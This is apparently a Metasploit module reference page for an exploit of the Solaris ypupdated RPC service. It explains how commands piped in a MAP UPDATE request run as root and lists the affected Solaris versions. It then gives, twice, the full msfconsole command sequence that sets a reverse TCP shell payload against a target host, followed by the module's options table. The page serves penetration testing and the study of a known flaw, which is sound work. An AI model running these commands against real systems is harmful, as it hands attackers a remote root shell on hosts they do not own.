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Solaris ypupdated Command Execution
This exploit targets a weakness in the way the ypupdated RPC application uses the command shell when handling a MAP UPDATE request. Extra commands may be launched through this command shell, which runs as root on the remote host, by passing commands in the format '|<command>'. Vulnerable systems include Solaris 2.7, 8, 9, and 10, when ypupdated is started with the '-i' command-line option.
Rank
- Excellent
Authors
- I)ruid < druid [at] caughq.org >
References
Exploit Targets
- 0 - Automatic (default)
Development
Similar Modules
Usage Information
$ msfconsole
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msf > use exploit/solaris/sunrpc/ypupdated_exec
msf exploit(ypupdated_exec) > show payloads
msf exploit(ypupdated_exec) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ypupdated_exec) > set LHOST [MY IP ADDRESS]
msf exploit(ypupdated_exec) > set RHOST [TARGET IP]
msf exploit(ypupdated_exec) > exploit
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msf > use exploit/solaris/sunrpc/ypupdated_exec
msf exploit(ypupdated_exec) > show payloads
msf exploit(ypupdated_exec) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ypupdated_exec) > set LHOST [MY IP ADDRESS]
msf exploit(ypupdated_exec) > set RHOST [TARGET IP]
msf exploit(ypupdated_exec) > exploit
Module Options
| GID | GID to emulate (default: 0) |
| HOSTNAME | Remote hostname (default: localhost) |
| RHOST | The target address |
| RPORT | The target port (default: 111) |
| UID | UID to emulate (default: 0) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| ONCRPC::tcp_request_fragmentation | Enable fragmentation of TCP ONC/RPC requests |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
